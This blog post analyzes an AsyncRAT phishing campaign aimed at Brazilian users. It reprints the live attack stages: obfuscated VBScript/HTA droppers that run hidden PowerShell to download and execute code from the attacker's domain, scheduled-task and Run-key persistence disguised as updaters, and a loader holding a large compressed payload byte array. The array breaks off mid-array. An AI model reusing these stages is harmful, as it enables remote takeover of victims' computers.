2022-01 AsyncRAT

Posted on 2022-01-26 by Josiah Smith and Nick Chalard



This post is a quick dissection of an interesting malware lure that appears to be part of a campaign targeting 🇧🇷 Brazilian / Portuguese speaking users. The sample in question is available on InQuest Labs:

Glancing at the macro you’ll quickly notice that a number of notepad.exe processes will be launched, additionally, there’s a reference to a malicious domain which we have filtered the below screenshot to: unimed-corporated[.]com

The domain appears to be a newly created website and fortuitously, the attackers were kind enough to leave us an open directory for rapid identification of the various pivot stages in this infection chain:

Here’s a few of the stages as they would be executed one-by-one...

  • IOC hxxps://unimed-corporated.com/brasil/CPAhtml.mp3
    <HTML>
    <HTML>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <HEAD>
    <script language="VBScript">
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    
    ItfEXGTgH = replace("W062702152cript.062702152hEll","062702152","s")
    Set qQVcHuTTi = CreateObject(ItfEXGTgH )
    
    mERGiyuPG = Replace("POW099769934RSH099769934LL","099769934","E")
    qQVcHuTTiqQVcHuTTi548355719 = " $c1<##>='(New-';[<##>System.Threading.Thread<##>]::Sleep(2300);$X1<##> = '!!!!!!!!!!!! '.Replace(<##>'!!!!!!!!!!!!'<##>,'Object'<##>);<##>$X2 <##>= <##>'Net'<##>;<##>$X3<##> = <##>'.We';[<##>System.Threading.Thread<##>]::Sleep(2300);<##>$c4<##>='.Downlo';<##>$D1<##> = <##>'bClient)';<##>$c3=<##>'adString(''https://unimed-corporated.com/brasil/CPA.jpg'')'<##>;<##>[<##>System.Threading.Thread<##>]::Sleep(2300);$TC<##>=I`E`X (<##>$c1<##>,<##>$X1<##>,<##>$X2<##>,<##>$X3<##>,<##>$D1<##>,<##>$c4<##>,$c3<##> <##>-Join <##>''<##>)<##>|I`E`X"
    
    qQVcHuTTi.Run(mERGiyuPG+qQVcHuTTiqQVcHuTTi548355719+""),0,True
    Set qQVcHuTTi = Nothing
    
    
    self.close
    
    </script>
    </head>
    <body>
    </body>
    </html>
  • IOChxxps://unimed-corporated.com/brasil/CPAInjectTarefa.mp3
    <HTML>
    <HTML>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <HEAD>
    <script language="VBScript">
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    on error resume next
    
    ItfEXGTgH = replace("W062702152cript.062702152hEll","062702152","s")
    Set qQVcHuTTi = CreateObject(ItfEXGTgH )
    
    mERGiyuPG = Replace("POW099769934RSH099769934LL","099769934","E")
    qQVcHuTTiqQVcHuTTi548355719 = "cmd /c start /min schtasks /create /sc MINUTE /mo 120 /tn ""CCleanSkipUAC"" /tr ""\""%windir%\system32\mshta.exe\""https://unimed-corporated.com/brasil/tarefaCPA.mp3"" /F"
    
    qQVcHuTTi.Run(qQVcHuTTiqQVcHuTTi548355719+""),0,True
    Set qQVcHuTTi = Nothing
    
    self.close
    
    </script>
    </head>
    <body>
    </body>
    </html>
  • IOC: hxxps://unimed-corporated.com/brasil/CPA.jpg
    New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "GoogleUpdata" -Value "powershell -w h -nop -exec bypass -c start-sleep 2;(New-Object IO.StreamReader([Net.HttpWebRequest]::Create('https://unimed-corporated.com/brasil/ps1brasillimpo.jpg').GetResponse().GetResponseStream())).ReadToEnd()|I'e'x"  -PropertyType "String" -FORCE
    New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "CCleanup" -Value "powershell -w h -nop -exec bypass -c start-sleep 2;(New-Object IO.StreamReader([Net.HttpWebRequest]::Create('https://unimed-corporated.com/brasil/ps1brasillimpo.jpg').GetResponse().GetResponseStream())).ReadToEnd()|I'e'x"  -PropertyType "String" -FORCE
    
    
    FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
    {
     $JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV::(($JHFGDSDGHHGDHGFJERTERTRTERTERGSDGSDFSDFXVXCVSDFSDFSFEWFWEFSDFSDVCXV.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)-ne0)   
     return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
    }
    
    sal D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG New-Object
    
    function Get-DecompressedByteArray {
    
    	[CmdletBinding()]
        Param (
    		[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
            [byte[]] $byteArray
        )
    	Process {
    	    
            
            $input = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream( , $byteArray )
    	    $output = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.MemoryStream
            $MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG = ('{1}{0}' -f  'ress','Decomp')
            $gzipStream = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::$MAIND4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG)
    	    $gzipStream.CopyTo( $output )
            $gzipStream.Close()
    		$input.Close()
    		[byte[]] $byteOutArray = $output.ToArray()
            Write-Output $byteOutArray
            
        }
    }
    
    FUNCTION COMBINEMEANINGSCOBOLTPOTASSIUM($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS)
    {
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDAS = $($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS -join [Environment]::NewLine)
        $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ = [string]::join("",($IAKWBQIPASKBAMAGSWQIAKDHKASNDAS.Split("`n")))
        return $IAKWBQIPASKBAMAGSWQIAKDHKASNDASQ
    }
    
    
    [byte[]] $nona = @(31,139,8,0,0,0,0,0,4,0,180,189,9,124,92,197,145,63,222,243,222,204,155,67,231,140,164,145,100,93,35,140,205,88,182,101,29,150,44,25,108,172,211,150,45,89,178,36,203,146,129,200,35,105,36,141,61,154,39,207,140,100,203,142,141,28,32,64,56,189,225,136,67,216,112,101,89,47,144,132,156,36,100,127,192,47,64,146,37,36,192,18,18,14,39,248,159,99,33,55,129,28,100,19,248,125,171,250,189,153,145,108,8,187,159,207,31,51,245,186,170,187,171,171,171,171,171,170,123,158,164,174,221,55,10,85,8,97,197,231,221,119,133,120,72,200,255,54,137,127,252,223,60,62,153,101,95,207,20,95,114,62,93,254,144,165,243,233,242,254,201,80,204,55,29,213,39,162,129,41,223,104,32,18,209,227,190,145,160,47,58,19,241,133,34,190,214,238,62,223,148,62,22,172,204,200,112,157,107,240,232,105,19,162,211,162,138,52,215,199,247,152,124,95,21,138,72,179,56,132,248,44,144,108,73,43,253,46,128,143,43,165,116,84,86,164,220,66,36,159,194,103,97,186,224,234,77,87,48,3,230,145,157,224,149,157,50,135,103,158,18,98,155,28,84,252,57,227,108,179,180,136,244,15,160,139,51,254,131,124,142,20,212,1,124,75,10,94,25,15,30,140,227,121,238,253,178,45,207,85,57,131,197,158,202,104,44,58,42,12,217,32,163,200,196,231,243,11,219,109,194,255,149,209,96,88,71,195,116,67,102,230,245,127,206,104,215,124,134,156,223,149,143,45,60,188,77,124,233,18,33,138,35,204,129,62,218,7,153,106,234,127,149,98,141,184,24,207,82,197,191,68,8,87,197,146,163,185,88,156,138,82,101,158,159,75,142,230,25,104,158,68,189,6,234,149,104,190,129,230,75,180,192,64,11,36,90,104,160,133,18,93,98,160,75,36,90,36,31,197,6,181,88,162,37,6,90,34,209,82,3,229,103,133,226,135,66,92,222,119,212,138,154,163,105,160,168,122,11,9,253,215,216,23,49,245,101,209,21,57,98,90,255,103,20,253,19,32,71,223,0,234,7,91,151,94,66,224,62,84,232,255,74,181,88,40,205,247,26,182,145,223,75,221,95,90,220,61,154,150,139,210,125,76,228,34,17,149,69,12,42,6,98,164,177,121,154,70,108,146,74,101,36,227,245,89,194,191,10,213,89,22,255,106,60,158,193,138,20,249,3,168,246,235,0,159,33,180,226,159,162,183,131,171,20,242,115,185,169,66,250,97,6,43,231,203,229,220,151,26,115,231,103,123,190,191,1,252,142,158,3,68,255,39,18,123,185,162,22,234,183,82,233,67,249,94,197,223,68,226,122,253,80,136,182,156,212,164,45,175,248,80,238,59,218,249,40,197,110,66,171,216,205,36,35,117,175,136,248,219,65,109,36,99,201,245,127,2,228,20,101,108,244,119,160,238,250,245,100,143,222,138,252,138,230,163,149,232,226,223,74,115,255,52,53,248,122,116,168,64,76,199,254,149,184,81,85,244,222,4,186,134,208,63,38,208,42,26,107,192,255,56,13,254,4,141,226,3,83,253,73,98,114,72,209,159,198,83,221,72,123,91,49,144,33,253,123,120,100,11,165,34,114,180,6,125,27,169,146,75,250,203,168,200,157,175,97,134,207,192,216,20,169,210,91,104,152,117,68,61,122,52,147,196,132,165,185,26,179,208,205,191,147,102,104,163,210,56,47,86,244,193,34,49,125,52,139,26,133,168,215,122,234,245,33,197,95,68,35,235,231,16,183,8,45,237,207,88,161,76,86,84,94,24,255,52,205,157,86,7,147,249,18,173,217,241,98,216,4,117,153,111,34,46,53,71,161,110,171,194,148,4,194,237,107,20,255,127,19,135,3,36,194,245,75,174,235,198,38,93,86,168,60,247,169,101,5,74,233,40,30,249,74,89,54,61,189,74,89,1,158,21,219,11,100,155,124,133,137,212,134,152,252,45,193,164,50,246,119,26,183,153,53,161,228,29,105,165,193,120,235,42,234,145,22,162,110,85,14,211,83,57,76,85,250,59,36,198,199,20,137,229,15,202,246,135,37,164,102,58,98,136,235,29,107,197,57,6,47,48,53,185,181,83,35,235,145,54,158,162,114,152,80,253,70,146,97,123,10,178,76,229,109,177,152,246,241,179,208,238,33,90,189,114,184,141,55,238,59,82,63,140,177,16,21,227,24,115,51,141,169,28,166,135,254,8,136,71,182,208,232,31,81,14,195,254,172,5,231,147,83,85,252,31,163,221,88,112,100,43,79,253,26,226,106,52,40,76,109,80,152,218,0,238,237,6,122,246,42,234,181,87,66,193,71,58,168,174,136,155,48,241,238,4,177,88,18,155,33,13,227,101,105,102,43,102,177,76,10,105,213,239,96,179,90,72,220,43,39,62,96,136,144,43,57,228,75,6,27,77,142,75,36,62,171,28,38,116,61,109,195,232,82,248,158,10,73,208,47,32,109,244,42,37,114,2,234,181,215,152,178,129,113,153,211,164,126,38,65,237,85,74,77,226,61,9,34,102,124,39,201,114,14,172,248,14,67,5,183,152,132,143,27,132,91,77,194,61,146,192,90,164,85,233,36,167,118,148,136,91,21,118,110,71,58,19,134,86,177,94,209,243,44,194,245,156,226,255,10,181,168,81,124,143,98,10,186,2,90,197,94,197,247,148,137,128,239,97,52,240,150,234,61,212,237,168,226,251,143,148,42,183,197,176,105,239,18,89,127,72,109,164,104,168,248,190,153,224,166,248,254,111,162,12,199,89,165,136,223,200,56,231,246,186,26,40,178,38,29,151,150,63,232,210,142,102,211,254,134,127,112,213,252,220,143,26,141,149,235,245,35,30,185,196,209,156,132,135,96,191,208,70,219,253,67,11,27,29,245,44,108,211,72,46,247,61,61,75,144,106,173,11,123,212,17,215,139,8,36,219,93,66,168,31,224,20,141,180,252,20,71,94,191,135,134,118,81,169,148,234,139,22,214,251,174,202,49,102,182,242,121,154,115,49,17,107,197,85,15,11,205,194,42,248,191,162,240,101,89,38,189,52,201,20,194,205,142,235,168,157,100,74,4,149,121,66,153,22,11,99,144,249,116,66,25,88,200,220,116,162,89,18,52,37,65,83,18,52,53,65,83,19,52,107,130,102,77,208,28,9,154,35,65,203,72,208,50,18,180,156,4,45,39,65,243,36,104,158,4,45,51,65,203,76,208,220,9,26,149,252,125,84,202,74,212,186,18,181,174,4,205,105,210,88,37,177,82,82,9,101,15,126,8,174,185,78,81,218,183,220,235,98,173,107,48,51,209,84,156,204,143,214,89,228,199,33,237,14,186,182,10,196,109,202,193,221,156,130,232,101,164,102,36,4,174,120,61,234,93,49,4,111,87,154,102,79,46,4,199,5,125,41,5,14,112,152,246,159,75,21,174,196,10,45,3,72,63,133,244,74,216,57,34,219,245,229,160,188,178,220,155,206,18,57,42,120,237,21,81,36,234,122,68,34,227,189,228,18,225,216,128,241,114,170,44,226,94,131,22,133,26,166,121,37,163,191,164,18,173,95,180,68,65,137,86,45,250,12,149,104,173,162,151,169,40,217,168,116,43,149,52,42,221,71,37,18,55,106,179,162,68,235,23,125,149,74,164,189,40,28,235,52,107,52,122,75,22,74,180,146,209,142,108,148,104,93,114,89,255,209,191,17,78,27,48,42,220,40,209,234,68,191,72,37,90,207,232,184,7,37,90,237,10,236,99,187,120,67,158,5,220,5,249,197,177,243,48,223,101,62,241,109,236,116,127,178,184,130,98,158,157,118,24,143,86,72,201,92,5,109,179,159,82,86,64,221,243,175,107,163,88,233,45,91,117,187,190,146,86,118,21,105,246,108,53,215,135,116,36,99,174,79,186,216,226,207,222,239,108,53,102,63,118,41,105,108,63,90,99,47,217,137,191,146,150,205,155,209,208,72,107,228,188,123,35,173,133,213,15,85,106,110,171,93,95,67,194,19,162,87,153,158,225,20,185,181,148,13,238,204,31,204,112,58,174,15,213,60,214,112,146,156,0,181,214,236,122,53,218,55,32,39,19,49,100,59,174,28,27,71,6,6,177,90,34,104,110,155,91,211,215,162,232,182,201,189,5,143,227,202,191,174,149,5,143,46,67,195,187,188,122,61,53,181,187,237,222,187,137,206,150,224,182,243,60,243,221,118,204,10,57,147,75,86,209,180,121,108,86,28,107,129,103,203,130,156,34,135,231,182,53,218,249,33,13,51,101,90,5,104,157,239,207,33,117,16,49,63,214,64,217,57,146,206,18,74,58,27,73,181,235,73,17,78,106,225,48,155,233,231,19,251,11,88,106,67,221,235,165,186,165,180,185,28,78,188,58,204,219,181,100,175,63,131,250,97,31,107,207,115,106,228,79,163,144,177,215,159,69,228,126,51,25,103,239,13,136,248,164,97,252,114,26,127,35,229,140,60,103,95,54,76,204,247,9,200,194,19,63,43,237,66,18,212,45,187,159,147,232,158,159,47,43,188,137,25,184,8,192,234,181,16,11,21,66,243,50,106,190,137,154,235,200,7,93,203,27,100,60,33,189,156,74,103,231,34,203,180,234,236,95,58,229,126,253,30,213,225,243,150,144,7,55,242,47,148,118,151,163,240,17,60,239,198,51,107,209,121,237,103,138,252,164,39,252,145,34,246,26,117,254,60,74,69,56,154,45,111,224,192,211,74,178,103,159,149,234,88,76,109,51,77,118,1,181,157,172,32,105,180,114,38,152,132,37,59,225,135,140,24,164,137,175,163,96,163,24,148,180,16,87,34,208,165,37,117,114,51,218,241,248,138,142,172,201,229,210,188,27,247,17,137,180,170,237,29,148,75,155,206,200,80,114,249,215,43,212,198,197,203,140,172,208,149,98,25,222,189,27,41,79,48,173,98,145,177,52,12,11,99,188,51,22,79,239,160,125,109,247,110,72,145,238,207,194,16,197,158,42,138,61,85,20,239,222,11,82,58,60,73,29,36,185,234,19,48,135,165,100,14,91,201,166,182,145,74,105,76,189,147,172,91,138,247,30,38,221,0,75,20,239,111,238,13,249,201,145,82,5,104,123,207,249,253,207,141,51,53,246,61,96,145,159,164,173,89,133,85,94,50,184,253,185,20,59,189,105,154,199,226,239,162,105,242,34,179,159,195,9,74,40,215,135,252,219,201,67,178,45,228,229,235,221,52,54,11,233,240,194,233,113,198,135,70,190,77,205,89,98,99,132,122,196,118,128,148,225,205,177,58,189,123,245,94,218,161,61,240,152,172,132,28,91,195,114,211,69,46,224,229,182,121,221,86,230,197,168,142,100,192,229,36,162,237,122,185,182,203,114,172,222,170,111,157,170,37,127,203,209,213,153,226,196,22,176,82,188,138,33,86,146,213,169,194,20,5,101,36,34,52,251,29,215,43,21,22,63,197,229,65,177,251,11,102,92,206,22,47,253,82,164,203,125,236,16,191,253,147,164,23,85,169,162,199,208,233,25,87,13,141,57,137,171,134,150,196,245,197,197,36,193,194,235,6,74,39,93,249,236,224,82,246,99,133,185,15,59,58,146,185,224,42,211,31,20,82,184,242,154,91,144,179,107,242,237,72,149,217,93,158,141,207,178,101,38,31,171,120,5,5,120,126,55,203,236,210,148,56,240,34,253,51,180,49,147,19,208,255,13,32,205,30,237,51,227,243,250,101,164,168,232,112,2,223,195,184,158,192,95,4,222,160,91,200,10,105,54,103,104,132,56,241,233,42,85,35,36,182,60,93,37,85,34,157,126,195,185,116,247,165,69,175,92,32,145,127,146,236,17,235,36,142,210,181,140,166,15,208,134,92,60,212,13,201,161,62,99,18,23,115,226,250,228,160,13,210,2,206,37,253,161,90,232,187,200,100,150,19,122,27,203,241,197,5,189,83,185,157,16,242,102,74,91,206,50,249,33,247,74,125,136,118,73,3,92,178,240,40,254,221,180,5,156,139,4,88,204,82,102,65,30,50,102,22,131,153,57,245,139,200,148,193,3,182,227,90,253,197,83,153,204,241,29,175,74,107,198,54,207,193,60,69,92,94,119,51,22,225,0,40,230,240,41,49,98,206,6,35,22,141,0,71,23,241,53,139,188,202,76,253,239,187,22,249,49,219,231,84,165,9,183,204,149,221,116,230,113,41,103,91,20,255,99,132,126,136,210,225,127,167,218,97,18,104,15,197,129,163,62,58,14,95,33,232,38,21,108,162,47,162,58,247,25,171,121,219,83,230,188,46,192,233,130,55,215,63,2,252,174,101,249,249,102,169,32,81,42,76,148,150,36,74,69,137,82,113,162,84,146,40,149,154,37,255,40,137,50,70,199,3,146,132,197,57,28,164,220,144,74,50,121,225,156,159,175,145,148,232,233,5,43,203,23,85,124,2,226,99,139,60,31,141,19,199,101,50,100,138,28,236,205,118,90,54,232,39,154,159,43,166,93,90,180,156,174,255,232,66,202,21,93,137,34,54,82,163,73,73,163,133,150,187,86,158,92,252,43,136,145,61,165,76,190,197,38,174,69,11,23,233,156,47,20,55,47,184,80,116,121,228,117,164,172,11,44,168,75,243,200,59,202,244,163,116,225,232,128,255,219,235,223,75,138,222,228,81,245,26,178,83,197,75,84,255,62,242,133,43,104,6,214,232,53,96,1,159,203,102,20,38,158,6,97,202,36,44,244,39,35,35,98,133,180,13,5,167,2,121,70,205,231,171,54,215,146,77,124,199,232,98,221,80,254,112,43,240,52,58,87,209,209,132,110,221,92,71,233,104,226,223,79,91,55,74,147,241,199,72,246,56,129,25,142,220,154,62,43,228,53,130,171,177,7,221,253,7,141,180,28,57,38,165,229,97,78,203,33,94,162,143,209,131,247,16,167,181,86,125,110,97,142,147,72,204,31,145,71,248,171,200,109,31,226,100,220,109,139,190,72,247,193,135,57,253,46,54,146,110,169,219,211,11,116,11,227,140,134,243,144,139,47,43,208,244,15,211,136,71,164,121,70,167,153,186,68,202,1,219,140,126,132,8,254,163,212,243,82,230,155,175,207,27,207,99,252,244,127,132,3,55,93,211,31,189,140,88,241,120,183,228,165,142,87,160,95,46,248,116,160,165,12,199,18,200,129,184,232,191,130,154,127,84,152,137,189,38,53,160,73,255,96,104,230,74,210,12,29,71,13,252,42,145,122,63,44,137,249,177,171,1,237,116,203,37,143,25,124,168,224,224,57,64,198,118,13,141,88,232,53,12,57,199,225,118,196,174,165,130,211,237,140,46,5,89,191,142,38,230,140,174,75,41,239,242,158,69,86,163,110,138,88,93,79,236,67,41,212,25,80,221,14,186,128,115,69,143,121,83,187,200,233,57,229,244,140,144,207,75,184,204,237,224,197,91,38,117,187,204,75,151,147,244,56,46,137,164,120,169,110,121,31,148,26,34,69,211,152,180,233,29,20,71,13,127,153,154,183,95,128,2,197,222,201,148,188,157,232,47,3,135,33,138,205,202,153,249,252,141,138,252,104,134,15,165,248,93,99,212,121,83,110,252,17,249,92,103,191,205,95,32,162,145,151,107,98,217,74,25,199,105,223,53,203,28,206,221,80,131,66,129,215,191,145,194,185,199,242,78,30,54,155,226,177,60,147,182,224,62,253,200,185,228,236,224,26,46,36,227,127,131,130,247,97,40,208,154,110,63,12,103,97,69,120,58,78,186,190,128,226,235,163,180,93,162,39,19,248,231,25,127,58,129,223,193,248,207,19,248,141,140,255,61,129,207,51,158,151,111,226,211,140,175,78,224,123,24,223,156,192,123,24,191,36,129,111,98,252,134,4,94,37,229,73,224,62,198,31,75,224,217,140,191,107,226,156,205,57,252,27,40,200,98,194,155,168,73,214,187,239,190,171,201,239,79,202,106,216,228,253,235,136,254,248,59,239,190,107,220,65,194,43,80,98,231,142,22,210,87,29,39,104,53,62,9,224,117,233,183,145,1,126,138,60,83,3,13,101,215,111,71,57,14,123,178,44,167,251,73,59,69,11,215,234,215,82,114,73,227,182,71,227,239,91,242,43,188,228,11,105,13,21,81,44,206,217,40,243,199,28,228,143,68,207,164,92,108,7,231,98,177,59,104,165,170,41,12,105,239,104,189,100,21,119,146,168,219,104,42,135,171,249,154,133,99,3,221,184,194,230,220,185,174,220,180,163,244,253,140,255,46,51,222,198,193,79,73,179,103,9,15,14,219,219,105,194,70,2,127,130,68,185,14,46,192,146,126,244,110,52,204,104,216,77,122,242,222,157,199,222,52,55,199,118,148,190,218,129,179,177,230,230,122,52,143,141,174,246,225,167,226,24,72,201,177,171,110,171,219,78,105,162,113,239,177,149,64,1,237,68,187,255,95,104,107,185,173,141,14,246,188,18,125,69,131,179,117,56,245,123,129,172,58,113,170,136,236,151,119,174,38,235,237,140,24,125,95,169,16,198,125,216,62,81,120,185,40,144,123,204,42,254,237,179,162,72,234,202,202,103,234,108,158,179,53,218,82,40,166,105,126,221,60,191,56,57,236,52,133,21,100,215,79,210,162,177,158,172,226,9,18,8,255,23,93,103,145,62,29,249,138,235,90,248,84,11,60,185,255,62,153,100,248,239,151,62,220,255,128,76,48,252,159,37,93,126,142,12,224,243,84,122,144,250,208,215,11,119,249,191,64,225,138,242,77,23,127,101,164,241,37,96,154,157,175,1,211,98,95,166,40,101,167,195,78,67,25,153,164,219,122,60,199,230,240,216,162,151,64,92,186,85,119,233,95,149,154,202,31,164,240,229,68,52,122,201,193,119,38,222,178,92,253,33,106,240,53,246,247,108,74,203,163,163,232,151,35,83,58,183,102,218,16,253,247,229,47,139,12,233,7,236,226,135,40,120,204,124,62,53,13,158,41,76,156,65,174,41,52,136,156,227,24,196,155,77,34,43,130,197,48,106,62,109,214,196,190,78,83,125,216,172,142,126,6,21,185,250,55,168,248,53,154,211,191,11,153,139,252,31,162,252,59,40,209,111,81,87,110,240,159,132,254,196,68,165,23,151,236,127,149,24,120,11,251,44,217,223,168,124,59,81,185,48,43,48,170,213,37,230,76,212,228,76,114,76,34,135,246,4,67,250,170,41,90,134,58,217,128,165,90,65,232,205,166,84,70,255,186,68,255,196,17,109,89,180,59,49,82,70,114,164,209,68,203,93,201,150,115,9,226,163,194,200,105,40,29,230,76,236,255,26,207,111,38,71,235,75,172,208,210,228,41,241,134,196,104,110,115,52,62,157,84,176,111,186,200,136,29,239,255,117,168,127,88,24,247,89,169,151,61,250,183,196,217,174,128,190,189,56,14,154,182,213,223,111,158,21,85,241,8,237,61,202,221,190,67,11,29,189,13,66,242,110,137,222,185,196,8,204,209,167,81,138,253,135,220,6,9,71,153,222,64,145,212,145,116,148,25,154,51,154,86,132,41,62,149,176,165,165,69,6,11,151,67,58,208,103,216,234,29,210,125,27,135,155,51,93,106,129,127,144,125,165,255,187,194,184,137,138,174,0,167,6,62,46,230,88,141,157,83,13,18,16,222,57,112,154,242,76,95,45,214,239,147,190,87,17,203,196,224,145,228,189,251,231,62,103,238,39,69,208,213,111,46,229,221,223,39,217,188,105,13,244,146,140,102,191,59,159,60,167,67,127,6,84,69,127,150,116,250,28,73,64,30,222,81,97,207,31,68,218,138,253,252,66,174,204,123,45,34,223,224,237,131,161,206,211,25,80,91,126,86,125,103,103,39,245,77,145,15,238,216,205,39,165,216,127,146,0,228,212,53,141,9,20,205,53,239,70,62,58,176,14,211,78,81,242,157,194,85,126,225,104,79,228,233,53,53,73,222,159,6,238,165,181,164,100,51,218,68,139,241,60,13,160,69,135,168,252,3,154,12,93,63,25,248,11,236,223,126,184,208,74,100,166,26,157,64,131,124,253,71,84,156,75,22,175,166,110,47,254,15,58,156,56,75,7,185,86,244,95,125,189,249,157,216,6,81,49,97,150,35,162,226,19,102,14,164,210,58,241,217,195,203,39,52,143,136,189,68,249,19,29,217,180,138,34,35,190,210,127,200,177,198,200,157,189,66,203,118,138,192,143,1,242,189,94,58,34,106,103,203,181,132,88,186,52,169,187,34,131,143,215,236,193,86,230,187,227,163,22,227,203,188,183,146,235,153,145,33,109,137,226,79,19,240,124,83,231,71,233,229,132,2,253,39,172,116,122,203,227,85,146,33,237,84,169,48,147,22,35,101,95,116,154,247,98,65,133,25,31,221,34,187,60,105,183,149,149,34,203,204,47,233,165,162,130,5,99,25,235,171,240,218,242,53,207,63,30,44,151,7,147,99,101,11,207,57,201,177,214,172,73,142,181,241,140,121,37,198,122,225,127,50,41,115,156,204,210,228,56,43,87,154,227,168,162,37,117,28,54,110,105,58,46,77,14,250,226,255,96,48,83,127,158,165,201,177,170,170,146,99,209,65,12,158,213,45,191,14,87,165,127,161,13,17,125,2,118,26,59,13,244,144,122,148,94,13,225,43,204,216,255,71,114,40,90,153,79,255,41,101,109,23,114,214,86,182,73,98,155,40,133,207,88,44,86,133,204,1,87,139,242,237,230,29,162,77,228,97,97,48,162,91,229,203,244,104,70,49,6,251,57,13,22,251,5,207,180,204,39,47,78,99,255,197,78,150,61,129,254,26,202,118,223,60,58,232,175,83,49,95,255,37,61,10,244,95,209,67,57,76,210,232,191,166,178,254,27,218,200,118,253,183,164,170,216,239,200,57,3,251,61,229,28,242,97,28,241,28,170,87,53,139,250,27,228,228,14,211,36,98,127,16,116,121,165,233,111,226,89,230,147,207,235,67,101,190,33,253,45,74,85,172,154,113,175,139,180,209,235,182,26,28,78,157,39,22,93,205,46,112,235,11,61,58,179,204,177,157,169,46,183,141,237,126,45,233,236,83,162,238,89,211,119,239,21,241,31,155,229,229,226,137,95,153,229,124,241,91,155,37,161,215,30,50,248,179,233,85,229,59,233,255,165,62,83,180,146,238,120,47,173,100,148,249,228,13,183,53,161,21,186,182,94,174,32,37,164,123,15,249,189,73,244,124,18,233,143,36,210,153,145,175,44,219,184,35,167,219,240,178,108,217,223,238,182,233,127,146,203,249,103,90,64,94,206,28,77,211,255,66,98,100,239,29,202,223,59,40,191,96,192,241,93,51,15,240,212,85,18,29,68,114,224,255,235,67,254,183,65,117,59,114,156,124,3,180,232,206,96,225,250,44,88,18,103,5,157,151,41,232,209,233,1,92,5,125,205,105,110,40,162,99,95,176,47,58,119,209,121,153,54,41,217,122,173,101,97,123,74,246,233,210,116,83,10,157,124,59,82,107,156,150,232,94,9,49,152,226,156,106,63,110,181,31,63,95,94,47,113,192,133,193,214,188,78,137,49,181,167,187,161,18,202,131,191,204,27,51,205,155,206,89,184,221,113,60,67,139,126,25,170,118,94,203,95,189,252,85,152,121,184,35,127,48,221,1,13,213,188,44,195,105,197,63,230,243,196,7,229,99,229,59,131,82,242,39,215,135,88,251,244,197,72,254,16,177,163,27,87,205,161,216,143,127,202,14,2,247,166,212,225,215,90,5,229,31,245,34,241,46,12,221,215,200,183,118,52,126,179,74,167,247,143,248,149,24,73,229,55,172,106,78,25,136,144,239,211,16,15,138,87,101,41,119,252,71,182,145,119,50,56,209,157,185,145,87,238,17,252,126,171,59,207,149,151,166,114,190,156,110,48,163,11,236,12,254,126,198,163,242,5,54,108,25,3,59,220,214,195,244,242,150,110,177,24,55,109,90,218,169,98,217,138,175,168,159,149,87,212,106,234,21,181,221,240,123,249,162,177,71,94,55,147,140,165,198,60,21,213,127,45,75,153,199,55,135,185,21,169,51,174,144,103,63,228,234,162,156,218,38,167,13,199,152,181,129,190,5,225,93,171,61,55,248,92,154,106,231,119,138,26,134,136,224,163,247,168,55,144,3,241,33,214,11,179,82,155,244,171,230,43,74,233,106,242,91,43,206,242,124,63,73,109,201,95,117,157,209,208,155,209,176,154,140,81,138,226,100,41,249,205,54,63,142,110,90,42,85,165,163,168,198,247,142,90,205,247,43,104,30,159,121,191,121,220,248,143,230,241,202,7,158,199,169,15,52,15,111,194,188,206,34,240,47,204,187,109,186,55,56,135,101,166,215,200,92,218,146,161,54,187,36,209,215,194,148,82,226,208,46,68,3,62,29,134,91,104,24,103,206,244,198,218,103,232,224,236,183,242,107,95,146,64,239,228,165,190,19,167,219,104,30,90,74,11,122,221,205,111,79,33,208,75,113,126,71,10,225,106,34,56,137,224,221,251,1,229,116,127,0,57,43,82,101,118,37,199,75,145,51,109,177,156,233,139,229,204,88,44,103,230,66,57,175,60,187,156,94,67,206,94,227,67,17,148,190,224,220,68,114,118,45,210,103,86,114,12,190,252,240,103,47,18,43,85,162,240,25,210,132,43,150,26,142,86,84,176,76,244,61,209,210,133,50,57,82,100,138,24,159,243,82,244,55,66,229,208,34,185,232,181,216,84,157,209,25,94,91,160,174,191,137,69,234,114,47,82,23,29,150,61,164,233,20,94,156,187,86,120,217,141,242,62,162,159,21,56,151,98,187,188,215,166,116,52,215,165,22,230,231,199,114,44,124,18,165,128,40,35,161,203,174,121,37,110,4,97,59,31,136,237,58,189,25,161,104,244,162,180,198,55,116,57,200,25,54,153,113,137,135,109,36,253,171,197,124,43,190,44,69,18,111,74,217,216,77,203,152,41,243,36,102,36,227,231,208,121,25,233,20,251,138,76,167,80,190,22,243,204,69,228,43,114,65,224,151,99,210,114,211,237,242,181,108,100,222,8,16,27,233,200,128,189,73,183,197,118,39,191,57,147,174,57,232,250,91,163,43,163,245,57,228,19,